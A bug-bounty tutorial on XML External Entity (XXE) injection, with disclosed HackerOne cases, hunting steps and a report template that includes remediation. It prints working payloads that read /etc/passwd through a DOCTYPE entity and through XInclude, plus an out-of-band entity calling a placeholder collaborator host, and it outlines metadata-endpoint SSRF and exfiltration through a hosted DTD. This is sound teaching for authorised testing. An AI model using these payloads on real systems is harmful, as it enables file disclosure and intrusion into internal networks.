XXE: When XML Parsers Read Too Much

Day 9 made the server fetch a URL for you. Today you get a similar result through a completely different door: the server’s XML parser. XML External Entity injection, XXE, happens when an application parses XML input and the parser is allowed to resolve external entities, references inside the XML that point to a file, a URL, or another resource. Get that right and you can read local files, reach internal services, and in blind cases exfiltrate data a byte at a time.
This is the seventh vulnerability class in the series. It connects directly to what you just learned. A working XXE often becomes an SSRF primitive, because the same external entity that can point at file:///etc/passwd can just as easily point at http://169.254.169.254/.
Inside scope only, with minimal proof. XXE can read arbitrary files and reach internal infrastructure. Confirm with a known, harmless file or an out-of-band callback, and never pull sensitive data to prove a point.
What XXE actually is
XML has a feature from the 1990s called a Document Type Definition, DTD, which lets a document define its own entities, essentially variables that expand when the document is parsed. A normal entity expands to a string. An external entity expands to the content of a file or a URL.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
If an application parses this XML and echoes any part of it back, the parser replaces &xxe; with the contents of /etc/passwd before the application ever sees it as “just text.” The application did not read the file. Its XML library did, because nobody told the library not to.
Almost every XML parser shipped with external entity resolution enabled by default for years, which is why this bug class is so widespread, and why it still turns up in older code, internal tools, and any integration that accepts XML: SOAP APIs, SSO via SAML, document uploads, file converters, and RSS or sitemap importers.
Why this is not just a legacy bug
XML parsing feels old, but XXE stays relevant for three reasons.
It hides inside file formats you would not expect. DOCX, XLSX, PPTX, and ODT files are ZIP archives containing XML internally. A file upload feature that parses an uploaded Office document, to extract metadata, generate a thumbnail, or run an audit, is parsing XML, whether the developer thought of it that way or not.
SAML and SSO run on XML. Single sign-on assertions are XML documents, often signed, but the signature does not stop the parser from resolving external entities before or alongside verification, depending on how the library is configured.
SOAP APIs and legacy integrations never left. Enterprise and B2B integrations still run on SOAP under the hood far more than most people expect, and SOAP is just XML with extra structure.
Despite being older, HackerOne’s own data flagged XXE as disproportionately severe. In HackerOne’s top-10 vulnerability analysis, XXE was found to be critical or high severity around two-thirds of the time, even though it represents a small fraction of total reports and bounty payouts. Rare, but when it lands, it tends to be serious.
Real disclosed reports
- Uber, blind XXE across 26 ubermovement.com subdomains. A researcher found that the search feature on Uber’s movement data subdomains parsed XML without disabling external entities, and confirmed it blind by triggering an outbound HTTP request to a server they controlled. Report: hackerone.com/reports/154096.
- Twitter, XXE in the SXMP processor on sms-be-vip.twitter.com. Reported by joshbrodienz, this was an XXE vulnerability in the Cloudhopper SXMP servlet, part of Twitter’s SMS backend, and it paid a $10,080 bounty, one of the higher XXE payouts publicly documented on Hacktivity.
- SEMrush, XXE in the Site Audit function. Reported by achapman as report #312543, this one exposed file and directory contents through the site auditing feature, a good example of XXE surfacing in a tool that was never obviously “an XML endpoint” from the outside.
- Open-Xchange, blind XXE via PowerPoint files. Reported by mishre, this XXE was triggered by uploading a crafted PowerPoint file, which is exactly the Office-document-is-a-ZIP-of-XML pattern described above, and it paid a $2,000 bounty.
Read the Uber report first. It is the clearest example of proving a blind vulnerability with nothing but an outbound callback, the same discipline you used for blind SQLi and blind SSRF.
The main attack variants
Classic file disclosure. The payload at the top of this post. Works when the application reflects the parsed content back to you, directly or inside an error message.
Blind XXE via out-of-band. Most real targets do not show you the file content directly. Instead, you make the external entity point at a server you control, and you learn the request happened because your listener receives a hit.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://your-collaborator-server.com/">
%xxe;
]>
A hit on your listener, with headers showing the target’s infrastructure, is proof the parser resolved an external entity. That alone is often enough to report, though escalating to actual data exfiltration makes the report stronger.
Blind exfiltration via parameter entities and a hosted DTD. When direct inline entities are blocked but parameter entities still resolve, you can host a malicious external DTD and chain it to read a file and smuggle its content out through a second request, one of the more advanced but well-documented XXE techniques, often called the “out-of-band data exfiltration via external DTD” pattern.
XXE as SSRF. Instead of file://, point the entity at an internal address or the cloud metadata endpoint from Day 9. The parser becomes your HTTP client, with the same internal network reach a direct SSRF would give you.
XInclude-based XXE. Some applications embed user input into a larger server-side XML document rather than parsing user-supplied XML directly, so a classic DOCTYPE payload never reaches the parser. XInclude, a separate XML feature for pulling in external content, still works here because it does not require you to control the DOCTYPE at all.
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
XXE inside file uploads. SVG, DOCX, XLSX, PPTX, and other XML-based formats can carry a malicious DTD inside a file that looks completely ordinary from the upload UI. This is the path the Open-Xchange PowerPoint report used.
Denial of service via entity expansion. The “billion laughs” pattern, nested entities that each expand into several more, growing exponentially until memory or CPU is exhausted. Lower severity on most programs, but worth knowing, since some programs do pay for a demonstrated DoS with safe proof.
Where to look, pointed at your recon
- Any endpoint that explicitly accepts
Content-Type: application/xml or text/xml. Test switching a normal JSON request to the equivalent XML body if the API documentation or framework suggests it is supported, some APIs silently accept both.
- File upload features, especially anything that processes Office documents, SVG images, or other XML-based formats, even when the upload UI looks like a plain “attach a file” button.
- SSO and SAML login flows. Any endpoint that accepts a SAML assertion or metadata document is parsing XML as a core function.
- RSS, Atom, sitemap, or feed importers. “Import from feed URL” features are XML parsers by definition.
- Legacy SOAP endpoints, often found in older or forgotten parts of an API surface, which is exactly where your recon from Day 1 to 3 already pointed you.
- PDF, DOCX, and image metadata extraction tools. EXIF and document metadata formats sometimes wrap XML internally too.
How to hunt it, step by step
Step 1: find an XML entry point. From the list above, identify every endpoint or upload feature that could plausibly involve XML parsing.
Step 2: test with a benign external entity. Submit a payload that points to a known, harmless local file, like the file disclosure example at the top, and see if the response reflects it.
Step 3: if nothing reflects, go blind. Switch to the out-of-band payload, pointing at a listener you control. A hit confirms the parser resolves external entities, even with zero visible output.
Step 4: if DOCTYPE payloads fail, try XInclude. Some applications sanitize or reject a DOCTYPE declaration specifically, while still being vulnerable through XInclude, because developers patch the attack they know about and miss the one they do not.
Step 5: for file uploads, build a malicious document. DOCX, XLSX, and PPTX files are ZIP archives. You can unzip a legitimate sample file, inject a malicious payload into one of its internal XML parts, rezip it, and upload it as if it were a normal document, which is exactly how the Open-Xchange PowerPoint finding worked.
Step 6: escalate carefully. Once external entity resolution is confirmed, test for internal network reach the same way you did in Day 9, and attempt to read one clearly non-sensitive file as your proof, not a sensitive one.
Writing the XXE report
Title: XXE in [endpoint/feature] allows [file disclosure / SSRF / blind exfiltration]
Summary:
One sentence: which endpoint or upload feature, what kind of XXE,
what was reached.
Steps to Reproduce:
1. Submit [payload] to [endpoint], with Content-Type [xml type].
2. Observe [reflected file content / listener callback / timing
signal] confirming external entity resolution.
3. (If escalated) Show internal reach or a specific, non-sensitive
file read as proof.
(Exact request, payload, listener logs or screenshots.)
Impact:
The XML parser resolves external entities supplied by the attacker,
allowing [local file disclosure / internal network reach via SSRF /
blind data exfiltration]. State the worst reasonably demonstrated
outcome.
Remediation:
Disable external entity and DTD processing in the XML parser
configuration. Most libraries support this directly, for example
disallow-doctype-decl or an equivalent secure processing feature.
Prefer a data format without this class of risk, such as JSON,
where the integration allows it.
The reports that land well show the request and response or listener evidence clearly, explain exactly which library and endpoint were involved, and recommend disabling external entities at the parser configuration level rather than only filtering the DOCTYPE keyword, because keyword filtering is what pushes attackers toward XInclude in the first place.
What programs often reject
- XXE in a parser explicitly documented as processing trusted, internal-only XML with no attacker-reachable input path
- A “billion laughs” DoS with no clear reproduction or safe proof
- Reports showing only that a DOCTYPE is accepted, with no demonstrated entity resolution or impact
- Duplicate reports against a known-vulnerable third-party library the program has already acknowledged
The mindset: the parser is an interpreter too
This series keeps returning to the same lens. SQLi is data becoming SQL. XSS is data becoming JavaScript. CSRF is a forged intention. SSRF is the server’s own HTTP client working for you. XXE is the XML parser treating structure you supplied as instructions to fetch and include. Different interpreter, same question: does this boundary actually enforce that your input stays data.
Homework for Day 10
- From recon, list every endpoint accepting XML, every SSO or SAML flow, and every file upload feature that touches Office documents or SVG files.
- Test the classic file disclosure payload against any endpoint that reflects parsed content.
- For endpoints that reflect nothing, run the out-of-band blind payload against a listener you control.
- Build one test Office document with an injected XML payload and confirm whether the upload pipeline parses it.
- Read the Uber blind XXE report (hackerone.com/reports/154096) end to end. Note exactly how the researcher proved a blind vulnerability with zero visible output, and compare that proof style to the Twitter SXMP and SEMrush Site Audit reports.
A confirmed XXE with demonstrated file disclosure or internal network reach is typically high or critical severity. Document it with the listener evidence or the specific non-sensitive file read, and recommend disabling external entity processing at the parser level.
Day 11 moves to a bug that lives entirely in how the application decides what you are allowed to see, Insecure Direct Object References, and how to find them systematically across an entire API.